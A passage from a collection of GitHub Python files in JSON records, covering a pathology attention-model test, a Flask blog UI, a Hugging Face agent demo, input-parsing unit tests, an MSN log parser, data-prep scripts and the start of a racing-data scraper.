self.K, self.L * self.K), nn.ReLU())\r\n self.final = nn.Sequential(nn.Linear(self.L * self.K, 10),nn.Softmax(dim=1))\r\n self.classifier_debug = nn.Sequential(nn.Linear(self.L, 10), nn.Softmax(dim=1))\r\n\r\n def forward(self, x):\r\n H = self.pre_trained_net(x)\r\n A_V = self.l1(H)\r\n A_U = self.l2(H)\r\n A = self.l3(A_V * A_U)\r\n A = torch.transpose(A, 1, 0)\r\n A = F.softmax(A, dim=1)\r\n M = torch.mm(A, H)\r\n Y = self.classifier(M)\r\n Y = self.final(Y)\r\n # Y = self.classifier_debug(H)\r\n return Y\r\n\r\n\r\npreTrainedModel = models.resnet18(pretrained=True)\r\nmodel = Attention(preTrainedModel)\r\nmodel.load_state_dict(torch.load('best_wts.pth'))\r\n# print(model.parameters)\r\n\r\nPARENT_DIR = 'dataset_TMA'\r\ntest_dir = os.path.join(PARENT_DIR,'test_patches_750')\r\npatho_1 = os.path.join(test_dir,'patho_1')\r\npatho_2 = os.path.join(test_dir,'patho_2')\r\n# print(len(os.listdir(patho_1)))\r\n# print(len(os.listdir(patho_2)))\r\ntma_info = os.path.join(PARENT_DIR, 'tma_info')\r\ntest_arrays = ['ZT80']\r\n\r\none_hots_1 = onehot('dataset_TMA/tma_info/ZT80_gleason_scores.csv','patho_1')\r\none_hots_2 = onehot('dataset_TMA/tma_info/ZT80_gleason_scores.csv','patho_2')\r\n# print(one_hots_1)\r\n# print(one_hots_2)\r\nmodel.cuda()\r\nmodel.eval()\r\ninvalids = {}\r\nvalids = []\r\nall_outputs = []\r\ntorch.set_grad_enabled(False)\r\nfor dir in tqdm(range(len(os.listdir(patho_1)))):\r\n paths = os.path.join(patho_1,os.listdir(patho_1)[dir])\r\n if len(os.listdir(paths)) == 0:\r\n # invalids.append(paths.split('\\\\')[3])\r\n invalids[dir] = paths.split('\\\\')[3]\r\n\r\n else:\r\n bag = np.zeros((len(os.listdir(paths)), 224, 224, 3), dtype=np.uint8)\r\n Y = one_hots_1[os.listdir(patho_1)[dir]]\r\n for i in range(len(os.listdir(paths))):\r\n path = os.listdir(paths)[i]\r\n img = Image.open(os.path.join(paths, path))\r\n img = preprocess(img)\r\n bag[i, :, :, :] = img\r\n bag = torch.from_numpy(bag).type(torch.float32)\r\n bag = bag.cuda()\r\n Y = torch.from_numpy(Y).type(torch.LongTensor).view(1, 10).cuda()\r\n _, target = torch.max(Y, 1)\r\n target = target.cuda()\r\n outputs_val = model(bag.view(-1, 3, 224, 224))\r\n all_outputs.append(outputs_val)\r\n valids.append(one_hots_1[paths.split('\\\\')[3]])\r\nprint(invalids)\r\n# torch.save(all_outputs,'all_outputs_3.pt')\r\n# outputs = torch.load('all_outputs_3.pt')\r\n\r\n# for i in range(len(outputs)):\r\n# if outputs[i] == 1 + torch.zeros((10)):\r\n# print(one_hots_1.values[i])\r\n# print(one_hots_1.keys())\r\n# for key in one_hots_1.keys():\r\n# if not key in invalids:\r\n# print(one_hots_1[key])\r\n# value_arrays = np.array(list(one_hots_1.values()))\r\n# value_tensors = torch.from_numpy(value_arrays)\r\n# output_targets = torch.argmax(outputs,1)\r\n# value_targets = torch.argmax(value_tensors,1)\r\n# acc = torch.sum(output_targets == value_targets)\r\n# print('accuracy',acc*100/all_outputs.shape[0])\r\nf = open('valids.txt','w')\r\nfor valid in valids:\r\n print(valid,file=f)\r\ng = open('all_outputs.txt','w')\r\nfor output in all_outputs:\r\n print(output,file=g)","repo_name":"ipsitmantri/EE692-MeDAL","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39449155150","text":"from Frame.frameCommanThings import FrameCommonThings as f\nfrom data import Data\nfrom tkinter import *\nfrom tkinter.ttk import *\n\n\nclass AM:\n def __init__(self, master):\n self.obj = Data.obj\n self.obj.table = Data.Amount_detail_table\n self.top = Toplevel(master)\n Label(self.top, text='semester').grid(row=0, column=1, padx=3, pady=2)\n self.com = Combobox(self.top, value=[i for i in range(1, 8)])\n self.com.grid(row=0, column=2, padx=8, pady=2, ipadx=50)\n self.entry, button = f.loop_one(f, Data.Amount_details_entry, self.top)\n self.com.bind('<>', lambda x: self.change_data(self.com.get()))\n button.configure(command=self.save_data)\n self.top.mainloop()\n\n def change_data(self, value):\n data=self.obj.fetchData(data_for_search={'semester':value})\n [i.delete(0,100000) for i in self.entry]\n [i.insert(0,data[0][k+1]) for k,i in enumerate(self.entry[:-1])]\n\n def save_data(self):\n\n p=[f'{i}' for i in Data.Amount_details_entry]\n l={p[q]:f'\"{i.get()}\"' for q,i in enumerate(self.entry[:-1])}\n\n self.obj.update(l,{'semester':self.com.get()})\n self.top.destroy()\n","repo_name":"yashrasniya/collage-project-fees-submission-","sub_path":"options/amount_detail.py","file_name":"amount_detail.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"34588820113","text":"import requests\nimport os\nfrom flask import Flask, render_template\n\napp = Flask(__name__, template_folder=\"templates\")\nbase_url = \"http://\" + os.getenv(os.getenv(\"API_ENV_NAME\"))[6:]\n\n@app.route('/')\ndef index():\n url = base_url + \"/api/v1/blogposts\"\n print(url)\n response = requests.get(url)\n blog_json = response.json()\n print(blog_json)\n if not blog_json:\n return render_template(\"empty.html\", url=base_url)\n # return \"tmp test\"\n try:\n for blog in blog_json: \n blog['id'] = str(blog['id'])\n return render_template(\"index.html\", members=blog_json, url=base_url)\n except Exception as e:\n return str(e)\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\")\n","repo_name":"gabor-banyai/blog-api-Kubernetes","sub_path":"blog-ui/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"26218721138","text":"## Google Colab from Hugging face\n## https://colab.research.google.com/drive/1c7MHD-T1forUPGcC_jlwsIptOzpG3hSj\n## Blog tutorial\n## https://towardsdatascience.com/hugging-face-transformers-agent-3a01cf3669ac\n## Can we use LLMs to decide which model to use, write code, run code, and generate results?\n\nimport logging\nimport os\nimport sys\nfrom dotenv import load_dotenv\nload_dotenv()\n\n_LOGGER = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO)\n\n\n## KEYS\nOPENAI_API_KEY=os.environ[\"OPENAI_API_KEY\"]\nSERPAPI_API_KEY=os.environ[\"SERPAPI_API_KEY\"]\nHF_TOKEN=os.environ[\"HF_TOKEN\"]\n\n## Config\nPDF_ROOT_DIR=os.environ[\"PDF_ROOT_DIR\"]\nOUTPUT_DIR=os.environ[\"OUTPUT_DIR\"]\n\n## utils\nfrom playsound import playsound\nimport soundfile as sf\ndef play_audio(audio, wav_file_name):\n sf.write(f\"{OUTPUT_DIR}/{wav_file_name}.wav\", audio.numpy(), samplerate=16000)\n playsound(f\"{OUTPUT_DIR}/{wav_file_name}.wav\")\n\n\n## MAIN\n\n# login to huggingface\nfrom huggingface_hub import login\nlogin(HF_TOKEN)\n\n# initialize openai agent from huggingface\nfrom transformers.tools import OpenAiAgent\nagent = OpenAiAgent(model=\"text-davinci-003\", api_key=OPENAI_API_KEY)\nprint(\"OpenAI is initialized 💪\")\n\n## EXAMPLE 1: Generate image from text\ndef example1():\n # generate text to image from huggingface agent - it will choose right tool for you\n # `image_generator` to generate an image according to the prompt.\n boat = agent.run(\"Generate an image of a boat in the water\")\n # print(boat)\n\n # save image to disk\n from PIL import Image\n boat.save(f'{OUTPUT_DIR}/boat.png')\n return boat\n\n## EXAMPLE 2: Generate text based on image\ndef example2():\n # `image_captioner` to generate a caption for the image.\n boat = example1()\n caption = agent.run(\"Can you caption the `boat_image`?\", boat_image=boat)\n print(f'CAPTION: {caption}')\n\n## EXAMPLE 3: Generate image based on text, generate caption based on image, and generate audio based on caption\ndef example3():\n # `image_generator` to generate an image of a boat, then `text_reader` to read out loud the contents of the image.\n # Agents vary in competency and their capacity to handle several instructions at once; \n # however the strongest of them (such as OpenAI's) are able to handle complex instructions \n # such as the following three-part instruction\n audio = agent.run(\"Can you generate an image of a boat? Please read out loud the contents of the image afterwards\")\n play_audio(audio, 'boat_image_desc_audio')\n\nexample2()","repo_name":"kpister/prompt-linter","sub_path":"data/scraping/repos/NakulManchanda~lang/popular~hf_transformer_agent~10_hf_agent.py","file_name":"popular~hf_transformer_agent~10_hf_agent.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"9921894018","text":"import datetime\nimport pytest\nimport requests\n\n# TODO: separate file input table classes from ingestion logic to remove import cycles\nfrom package import Package\nfrom package_input import PackageInput, ParseWarning\nfrom journal_price import JournalPriceInput\nfrom counter import CounterInput\nfrom app import s3_client\nfrom util import write_to_tempfile\n\n\ndef test_normalize_issn():\n assert PackageInput.normalize_issn('0266-6731') == '0266-6731'\n assert PackageInput.normalize_issn('0990-7440') == '0990-7440'\n assert PackageInput.normalize_issn(' 02666731') == '0266-6731'\n assert PackageInput.normalize_issn('1026-597X') == '1026-597X'\n assert PackageInput.normalize_issn('1026-597x') == '1026-597X'\n assert PackageInput.normalize_issn('\\n1026-597X\\t') == '1026-597X'\n assert PackageInput.normalize_issn('\\n1026- 597X\\t') == '1026-597X'\n assert PackageInput.normalize_issn('\\n1026-\\n597x\\t') == '1026-597X'\n\n invalid_issns = [\n {'issn': '1234-56789', 'warning': ParseWarning.bad_issn},\n {'issn': '1234-56XX', 'warning': ParseWarning.bad_issn},\n {'issn': 'print: \\nfs34-\\n123x\\t', 'warning': ParseWarning.bad_issn},\n {'issn': '\\nfs34-\\n5123x\\t', 'warning': ParseWarning.bad_issn},\n {'issn': 'RT34-\\n123x\\t', 'warning': ParseWarning.bundle_issn},\n {'issn': 'FS34-\\n123y\\t', 'warning': ParseWarning.bad_issn},\n ]\n\n for i in invalid_issns:\n assert PackageInput.normalize_issn(i['issn']) == i['warning']\n\n assert PackageInput.normalize_issn('') == None\n assert PackageInput.normalize_issn('', warn_if_blank=True) == ParseWarning.no_issn\n\ndef test_normalize_date():\n assert PackageInput.normalize_date('1955-11-05') == datetime.datetime(1955, 11, 5).isoformat()\n assert PackageInput.normalize_date('October 26 1985') == datetime.datetime(1985, 10, 26).isoformat()\n assert PackageInput.normalize_date('21 Oct 2015') == datetime.datetime(2015, 10, 21).isoformat()\n\n assert PackageInput.normalize_date('the other day') == ParseWarning.bad_date\n assert PackageInput.normalize_date('spring') == ParseWarning.bad_date\n\n assert PackageInput.normalize_date('June-20') == ParseWarning.ambiguous_date\n assert PackageInput.normalize_date('11/5/85') == ParseWarning.ambiguous_date\n\n assert PackageInput.normalize_date('') == None\n assert PackageInput.normalize_date('', warn_if_blank=True) == ParseWarning.bad_date\n\ndef test_normalize_year():\n assert PackageInput.normalize_year('1955-11-05') == 1955\n assert PackageInput.normalize_year('October 1985') == 1985\n assert PackageInput.normalize_year('2015') == 2015\n\n assert PackageInput.normalize_year('the other day') == ParseWarning.bad_year\n assert PackageInput.normalize_year('spring') == ParseWarning.bad_year\n\n assert PackageInput.normalize_year('') == None\n assert PackageInput.normalize_year('', warn_if_blank=True) == ParseWarning.bad_year\n\ndef test_normalize_int():\n assert PackageInput.normalize_int('9000 ') == 9000\n assert PackageInput.normalize_int(' 1917') == 1917\n assert PackageInput.normalize_int('many') == ParseWarning.bad_int\n assert PackageInput.normalize_int('lots') == ParseWarning.bad_int\n\n assert PackageInput.normalize_int('') == None\n assert PackageInput.normalize_int('', warn_if_blank=True) == ParseWarning.no_int\n\ndef test_normalize_price():\n assert PackageInput.normalize_price('$1,000,000.49') == 1000000\n assert PackageInput.normalize_price('$1,000,000') == 1000000\n assert PackageInput.normalize_price('$1000000') == 1000000\n assert PackageInput.normalize_price('$1.000,49 ') == 1000\n assert PackageInput.normalize_price('1.000') == 1\n assert PackageInput.normalize_price(' $100,51') == 101\n assert PackageInput.normalize_price('5341.1849999999995') == 5341\n assert PackageInput.normalize_price('3196.845') == 3197\n assert PackageInput.normalize_price('10684.935') == 10685\n assert PackageInput.normalize_price('10684,935') == 10685\n assert PackageInput.normalize_price('643.815') == 644\n assert PackageInput.normalize_price('$10,325.20') == 10325\n\n assert PackageInput.normalize_price('$1.1.1') == ParseWarning.bad_usd_price\n assert PackageInput.normalize_price('$$$') == ParseWarning.bad_usd_price\n\n assert PackageInput.normalize_price('') == None\n assert PackageInput.normalize_price('', warn_if_blank=True) == ParseWarning.no_usd_price\n\ndef test_normalize_rows():\n test_file = write_to_tempfile(\"\"\"\n int,issn,price\n 5,0031-9252,$500\n 10, 2093-968X, 123.45\n 15, 1990-7478, 1000000\n \"\"\".strip())\n\n rows, warnings = TestInputFormat().normalize_rows(file_name=test_file)\n\n assert [\n {'int': 5, 'issn': '0031-9252', 'price': 500},\n {'int': 10, 'issn': '2093-968X', 'price': 123},\n {'int': 15, 'issn': '1990-7478', 'price': 1000000},\n ] == rows\n\n assert warnings is None\n\n\ndef test_reject_unknown_issn():\n class TestIssnFormat(PackageInput):\n @classmethod\n def issn_column(cls):\n return 'issn'\n\n @classmethod\n def csv_columns(cls):\n return {\n 'issn': {\n 'normalize': cls.normalize_issn,\n 'name_snippets': ['issn'],\n 'required': True\n },\n 'int': {\n 'normalize': cls.normalize_int,\n 'name_snippets': ['int'],\n 'required': True,\n },\n }\n\n test_file = write_to_tempfile(\"\"\"\nissn,int\n3333-3333,1\n0024-3205,2\n \"\"\".strip())\n\n rows, warnings = TestIssnFormat().normalize_rows(file_name=test_file)\n\n assert [\n {'int': 2, 'issn': '0024-3205'},\n ] == rows\n\n assert [{'id': 'row_id', 'name': 'Row Number'},\n {'id': 'issn', 'name': 'issn'},\n {'id': 'int', 'name': 'int'},] == warnings['headers']\n\n assert [\n {\n 'int': {'value': '1', 'error': None},\n 'row_id': {'value': 2, 'error': None},\n 'issn': {\n 'value': '3333-3333',\n 'error': {\n 'message': u\"This looks like an ISSN, but it isn't one we recognize.\",\n 'label': 'unknown_issn'\n }\n },\n },\n ] == warnings['rows']\n\ndef test_required_field():\n test_file = write_to_tempfile(\"\"\"\n INT,Price!\n 5,50\n 6,100.00\n \"\"\".strip())\n\n with pytest.raises(RuntimeError, match=r\"Error: missing required columns.\"):\n TestInputFormat().normalize_rows(file_name=test_file)\n\n test_file = write_to_tempfile(\"\"\"\n int,issn\n 5,0031-9252\n 6,2093-968X\n \"\"\".strip())\n\n rows, warnings = TestInputFormat().normalize_rows(file_name=test_file)\n\n assert [\n {'int': 5, 'issn': '0031-9252'},\n {'int': 6, 'issn': '2093-968X'},\n ] == rows\n\n assert warnings is None\n\ndef test_warn_invalid_fields():\n test_file = write_to_tempfile(\"\"\"\nint,price,issn\n5,$100.00,2093-968X\n6,a few bucks,1749-8155\n7,555,\n8,500,FS66-6666\n9,,1990-7478\n \"\"\".strip())\n\n rows, warnings = TestInputFormat().normalize_rows(file_name=test_file)\n\n assert [\n {'int': 5, 'price': 100, 'issn': '2093-968X'},\n {'int': 9, 'price': None, 'issn': '1990-7478'},\n ] == rows\n\n assert [\n {'id': 'row_id', 'name': 'Row Number'},\n {'id': 'int', 'name': 'int'},\n {'id': 'price', 'name': 'price'},\n {'id': 'issn', 'name': 'issn'},\n ] == warnings['headers']\n\n assert [\n {\n 'int': {'value': '6', 'error': None},\n 'row_id': {'value': 3, 'error': None},\n 'issn': {'value': '1749-8155', 'error': None},\n 'price': {\n 'value': 'a few bucks',\n 'error': {\n 'message': 'Unrecognized USD format.',\n 'label': 'bad_usd_price'\n }\n }\n },\n {\n 'int': {'value': '7', 'error': None},\n 'row_id': {'value': 4, 'error': None},\n 'issn': {\n 'value': '',\n 'error': {\n 'message': 'No ISSN here.',\n 'label': 'no_issn'\n }\n },\n 'price': {'value': '555', 'error': None}\n },\n {\n 'int': {'value': '8', 'error': None},\n 'row_id': {'value': 5, 'error': None},\n 'issn': {\n 'value': 'FS66-6666',\n 'error': {\n 'message': 'ISSN represents a bundle of journals, not a single journal.',\n 'label': 'bundle_issn'\n }\n },\n 'price': {'value': '500', 'error': None}\n }\n ] == warnings['rows']\n\ndef test_excluded_name_snippet():\n class PickyInputFormat(TestInputFormat):\n @classmethod\n def csv_columns(cls):\n return {\n 'picky_column': {\n 'normalize': cls.normalize_issn,\n 'name_snippets': ['column'],\n 'excluded_name_snippets': ['excluded'],\n 'required': True,\n 'warn_if_blank': True,\n },\n }\n\n assert PickyInputFormat().normalize_column_name(raw_column_name='excluded column') is None\n assert PickyInputFormat().normalize_column_name(raw_column_name='column') == 'picky_column'\n\ndef test_issn_columns():\n class MultipleIssnFormat(TestInputFormat):\n @classmethod\n def csv_columns(cls):\n return {\n 'primary_issn': {\n 'normalize': cls.normalize_issn,\n 'name_snippets': ['primary'],\n 'warn_if_blank': True,\n },\n 'secondary_issn': {\n 'normalize': cls.normalize_issn,\n 'name_snippets': ['secondary'],\n 'warn_if_blank': True,\n },\n 'integer': {\n 'normalize': cls.normalize_int,\n 'name_snippets': ['int'],\n },\n }\n\n @classmethod\n def issn_columns(cls):\n return ['primary_issn', 'secondary_issn']\n\n test_file = write_to_tempfile(\"\"\"\n Int,Primary,Secondary\n 1,,0010-9355\n 2,2311-5459,1093-4537\n 3,xxxx-xxxx,0009-2363\n 4,1935-1194,FS00-0000\n 5,,xxxx-xxxx\n 6,,\n 7,FS00-0000,1111-1111\n \"\"\", strip=True)\n\n rows, warnings = MultipleIssnFormat().normalize_rows(file_name=test_file)\n\n assert [\n {'integer': 1, 'issn': '0010-9355'},\n {'integer': 2, 'issn': '2311-5459'},\n {'integer': 3, 'issn': '0009-2363'},\n {'integer': 4, 'issn': '1935-1194'},\n {'integer': 7, 'issn': '1111-1111'},\n ] == rows\n\n assert [\n {'id': 'row_id', 'name': 'Row Number'},\n {'id': 'integer', 'name': 'Int'},\n {'id': 'primary_issn', 'name': 'Primary'},\n {'id': 'secondary_issn', 'name': 'Secondary'},\n ] == warnings['headers']\n\n assert [\n {\n 'integer': {'value': '5', 'error': None},\n 'row_id': {'value': 6, 'error': None},\n 'primary_issn': {\n 'value': '',\n 'error': {\n 'message': 'No ISSN here.',\n 'label': 'no_issn'\n }\n },\n 'secondary_issn': {\n 'value': 'xxxx-xxxx',\n 'error': {\n 'message': \"This doesn't look like an ISSN.\",\n 'label': 'bad_issn'\n }\n },\n },\n {\n 'integer': {'value': '6', 'error': None},\n 'row_id': {'value': 7, 'error': None},\n 'primary_issn': {\n 'value': '',\n 'error': {\n 'message': 'No ISSN here.',\n 'label': 'no_issn'\n }\n },\n 'secondary_issn': {\n 'value': '',\n 'error': {\n 'message': 'No ISSN here.',\n 'label': 'no_issn'\n }\n },\n },] == warnings['rows']\n\n\nclass TestInputFormat(PackageInput):\n @classmethod\n def import_view_name(cls):\n raise NotImplementedError()\n\n @classmethod\n def destination_table(cls):\n raise NotImplementedError()\n\n @classmethod\n def file_type_label(cls):\n return 'test_input'\n\n @classmethod\n def csv_columns(cls):\n return {\n 'int': {\n 'normalize': cls.normalize_int,\n 'name_snippets': ['int'],\n 'required': True\n },\n 'issn': {\n 'normalize': cls.normalize_issn,\n 'name_snippets': ['issn'],\n 'required': True,\n 'warn_if_blank': True,\n },\n 'price': {\n 'normalize': cls.normalize_price,\n 'name_snippets': ['price'],\n 'required': False\n },\n }\n\ndef test_set_to_delete_fake_data():\n text = CounterInput().set_to_delete(\"package-fakepackage\", \"doesntexist\")\n assert text == 'Queued to delete'\n\n res = CounterInput().delete(\"package-fakepackage\", \"jr1\")\n assert res == 'Deleted CounterInput rows for package package-fakepackage.'\n\n\ndef price_file_uploaded(package_id):\n package = Package.query.filter(Package.package_id == package_id).scalar()\n data_files_dict = package.data_files_dict\n return data_files_dict['price']['is_live']\n\npackage_id = \"package-iQF8sFiRY99t\"\n@pytest.mark.skipif(not price_file_uploaded(package_id), reason=\"Package '{}' price file not uploaded\".format(package_id))\ndef test_set_to_delete():\n assert price_file_uploaded(package_id)\n\n JournalPriceInput().set_to_delete(package_id)\n\n file_uploaded = price_file_uploaded(package_id)\n\n assert file_uploaded == False\n\n # clean up: re-upload price file\n if not file_uploaded:\n presigned_post = s3_client.generate_presigned_post(\n Bucket = \"unsub-file-uploads-preprocess-testing\",\n Key = package_id + \"_price.csv\",\n ExpiresIn = 60*60 # one hour\n )\n filename_to_upload = \"tests/test_files/journal_price/elsevier-prices.csv\"\n with open(filename_to_upload, 'rb') as file:\n files = {'file': (filename_to_upload, file)}\n upload_response = requests.post(presigned_post['url'], data=presigned_post['fields'], files=files)\n\n \n\n\n\n","repo_name":"ourresearch/jump-api","sub_path":"tests/test_package_input.py","file_name":"test_package_input.py","file_ext":"py","file_size_in_byte":14735,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"50"} +{"seq_id":"3445423198","text":"#!/usr/bin/env python3\n\n# https://www.tutorialkart.com/python/python-xml-parsing/\n\nimport xml.etree.ElementTree as ET\nimport sys, argparse, os\n\nparser = argparse.ArgumentParser(description='Parses a MSN conversation log in XML format.')\n\nparser.add_argument('--file','-f',\n\tdest='logFile',\n\trequired=True,\n\tnargs=1,\n\thelp=\"Log file to be parsed.\")\n\nargs = parser.parse_args()\n\nlogFile = args.logFile[0]\n\n\n#====================\ndef msn_parse_message(msg_xml):\n\tmsg_data = {}\n\tmsg_data['date'] = msg_xml.attrib['Date']\n\tmsg_data['time'] = msg_xml.attrib['Time']\n\tmsg_data['session'] = msg_xml.attrib['SessionID']\n\tmsg_data['user'] = \"\"\n\tmsg_data['text'] = \"\"\n\tfor child in msg_xml:\n\t\tif child.tag == \"From\":\n\t\t\tmsg_data['user'] = child[0].attrib['FriendlyName']\n\t\tif child.tag == \"Text\":\n\t\t\tmsg_data['text'] = child.text\n\treturn msg_data\n\ndef msn_message_text(message):\n\tprint(\"- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\")\n\tprint(\"[%s@%s] %s:\"\n\t\t%\n\t\t(message['date'], message['time'], message['user'])\n\t)\n\tprint(message['text'])\n#====================\nif not os.path.exists(logFile):\n\tprint(\"The file does not exist\")\n\tsys.exit()\n\nif not os.access(logFile, os.R_OK):\n\tprint(\"The file is not readable\")\n\tsys.exit()\n\ntree = ET.parse(logFile)\nroot = tree.getroot()\n\n# check tree root\nif root.tag != \"Log\":\n\tprint(\"Log root not found. Nothing to do here.\")\n\tsys.exit(0)\n\n# Set session ID\nsess_id = \"0\"\n# Loop all messages\nfor msg in root:\n\tif msg.tag == \"Message\":\n\t\tmsg_data = msn_parse_message(msg)\n\t\t# check session id\n\t\tmsg_sess = msg_data['session']\n\t\tif msg_sess != sess_id:\n\t\t\tprint(\"================================= SessionID %s\" % (msg_sess))\n\t\t\tsess_id = msg_sess\n\t\tmsn_message_text(msg_data)\n\n","repo_name":"mark-torres/python-stuff","sub_path":"parsing/msn-msngr-xml.py","file_name":"msn-msngr-xml.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71449503194","text":"class Solution(object):\n def maximumProduct(self, nums):\n if not nums or len(nums) == 0:\n return 0\n nums.sort()\n res1 = nums[-1] * nums[-2] * nums[-3]\n res2 = nums[0] * nums[1] * nums[-1]\n return max(res1, res2)\n#主函数\nif __name__ == \"__main__\":\n nums = [1, 2, 3]\n #创建对象\n solution = Solution()\n print(\"输入的数组是 :\", nums)\n print(\"最大的积是:\", solution.maximumProduct(nums))","repo_name":"tonyyo/algorithm","sub_path":"Python算法指南/252_三个数的最大乘积_想复杂了.py","file_name":"252_三个数的最大乘积_想复杂了.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72729365916","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport advec_diff\n\nrunner = advec_diff.AdvecDiffRunner()\nrunner.t_end = 5.0\n\ndef case(dt):\n runner.dt = dt\n runner.run()\n t, r, rr, e, re = runner.results()\n uniq, inv = np.unique(t, return_inverse=True)\n plt.plot(uniq, np.bincount(inv), \"-\", label=\"dt={}\".format(dt))\n runner.remove_files()\n\nplt.title(\n (\n \"SDC@AdvecDiff, t_end={}, max_iter={}, dof={},\\n\"\n \"nu={}, vel={}, abs_res_tol={}, {} Nodes\\n\"\n ).format(\n runner.t_end, runner.num_iters, runner.num_dofs,\n runner.nu, runner.vel, runner.abs_res_tol, runner.num_nodes\n )\n)\n\nplt.xlabel(\"t\")\nplt.ylabel(\"required iterations\")\nplt.ylim(0, 10)\n\ncase(0.001)\ncase(0.005)\ncase(0.01)\ncase(0.025)\n\nplt.legend()\nplt.savefig(\"plot/advec_diff/sdc_dt.pdf\")\n","repo_name":"f-koehler/pfasst-analysis","sub_path":"advec_diff/sdc_dt.py","file_name":"sdc_dt.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"85317336","text":"import pandas as pd\r\nfrom pandasql import sqldf\r\npd.options.display.max_columns = None\r\n\r\n#Input the data\r\ndf_td = pd.read_csv(r\"C:\\Users\\Marius\\Documents\\Prepping Data\\2023 Week 7\\Inputs\\Transaction Detail.csv\")\r\ndf_tp = pd.read_csv(r\"C:/Users/Marius/Documents/Prepping Data/2023 Week 7/Inputs/Transaction Path.csv\")\r\ndf_ai = pd.read_csv(r\"C:\\Users\\Marius\\Documents\\Prepping Data\\2023 Week 7\\Inputs\\Account Information.csv\")\r\n\r\n#For the Transaction Path table:\r\n#Make sure field naming convention matches the other tables\r\n#i.e. instead of Account_From it should be Account From\r\ndf_tp = df_tp.rename(columns={\"Account_To\":\"Account To\", \"Account_From\":\"Account From\"})\r\n\r\n#Filter out the cancelled transactions\r\ndf_td = df_td[df_td['Cancelled?']==\"N\"]\r\n\r\n#Split the flow into incoming and outgoing transactions \r\ndf_merged = df_td.merge(df_tp, how=\"inner\", on=\"Transaction ID\")\r\ndf_inc = df_merged.iloc[:,[4,1,2]]\r\ndf_out = df_merged.iloc[:,[5,1,2]]\r\ndf_out[\"Value\"] = df_out[\"Value\"] * -1\r\n\r\n#Bring the data together with the Balance as of 31st Jan\r\ndf_inc = df_inc.rename(columns={\"Account To\":\"Account Number\",\"Transaction Date\":\"Balance Date\", \"Value\":\"Balance\"})\r\ndf_out = df_out.rename(columns={\"Account From\":\"Account Number\",\"Transaction Date\":\"Balance Date\", \"Value\":\"Balance\"})\r\ndf_union = pd.concat([df_inc,df_out,df_ai])\r\n\r\n#Work out the order that transactions occur for each account\r\n#Hint: where multiple transactions happen on the same day, assume the highest value transactions happen first\r\ndf_union = df_union.sort_values(by=[\"Account Number\", \"Balance Date\"], ascending=[True,True])\r\ndf_union['Transaction Order'] = df_union.groupby([\"Account Number\"]).cumcount() + 1\r\n\r\n#Use a running sum to calculate the Balance for each account on each day (hint)\r\ndf_join1 = df_union.iloc[:,[0,1,2,5]]\r\ndf_join2 = df_join1.iloc[:,[0,2,3]]\r\ndf_join2.columns = [col + \" 2\" for col in df_join2.columns]\r\n\r\n\r\ncond_join= '''\r\n SELECT *\r\n FROM df_join1\r\n INNER JOIN df_join2\r\n ON df_join1.[Account Number] = df_join2.[Account Number 2]\r\n AND df_join1.[Transaction Order] >= df_join2.[Transaction Order 2]\r\n'''\r\njoined_df = sqldf(cond_join)\r\n\r\noutput = joined_df.groupby([\"Transaction Order\", \"Account Number\", \"Balance Date\", \"Balance\"])[\"Balance 2\"].agg(\"sum\").reset_index()\r\noutput = output.rename(columns={\"Balance 2\": \"Balance\",\"Balance\": \"Transaction Value\"})\r\n\r\n#The Transaction Value should be null for 31st Jan, as this is the starting balance\r\nif 1 in output[\"Transaction Order\"].values:\r\n output.loc[output[\"Transaction Order\"] == 1, \"Transaction Value\"] = None\r\nelse:\r\n pass\r\n\r\n#Output the data\r\noutput = output.iloc[:,[0,1,2,3,4]]\r\noutput.to_csv(r'C:\\Users\\Marius\\Documents\\Prepping Data\\2023 Week 9\\Outputs\\W9_2023_Output_py.csv', index=False)\r\nprint(\"Data prepped\")","repo_name":"Marius321/Preppin-Data-Challenges","sub_path":"2023/Python/W9_2023.py","file_name":"W9_2023.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16560375556","text":"# -*- coding: utf-8 -*-\nimport codecs\nimport re\nimport urllib.parse\nimport urllib.request\nimport os\nimport socket\nimport sys\nimport math\nimport calendar\nimport datetime\nfrom bs4 import BeautifulSoup\nimport csv\n\nurl_base = 'http://db.netkeiba.com'\nurl_list = []\nrace_url_list = []\nholidays = ['2015/1/1','2015/1/12','2015/2/11','2015/4/29','2015/5/4','2015/5/5','2015/5/6','2015/7/20','2015/9/21','2015/9/22','2015/9/23',\n'2015/10/12','2015/11/3','2015/11/23','2015/12/23','2016/1/1','2016/1/11','2016/2/11','2016/3/21','2016/4/29','2016/5/3','2016/5/4',\n'2016/5/5','2016/7/18','2016/8/11','2016/9/19','2016/9/22','2016/10/10','2016/11/3','2016/11/23','2016/12/23','','2017/1/2','2017/1/9',\n'2017/3/20','2017/5/3','2017/5/4','2017/5/5','2017/7/17','2017/8/11','2017/9/18','2017/10/9','2017/11/3','2017/11/23','2018/1/1',\n'2018/1/8','2018/2/12','2018/3/21','2018/4/30','2018/5/3','2018/5/4','2018/7/16','2018/9/17','2018/9/24','2018/10/8','2018/11/23','2018/12/24']\n\ntoday_year = datetime.datetime.today().year\ntoday_month = 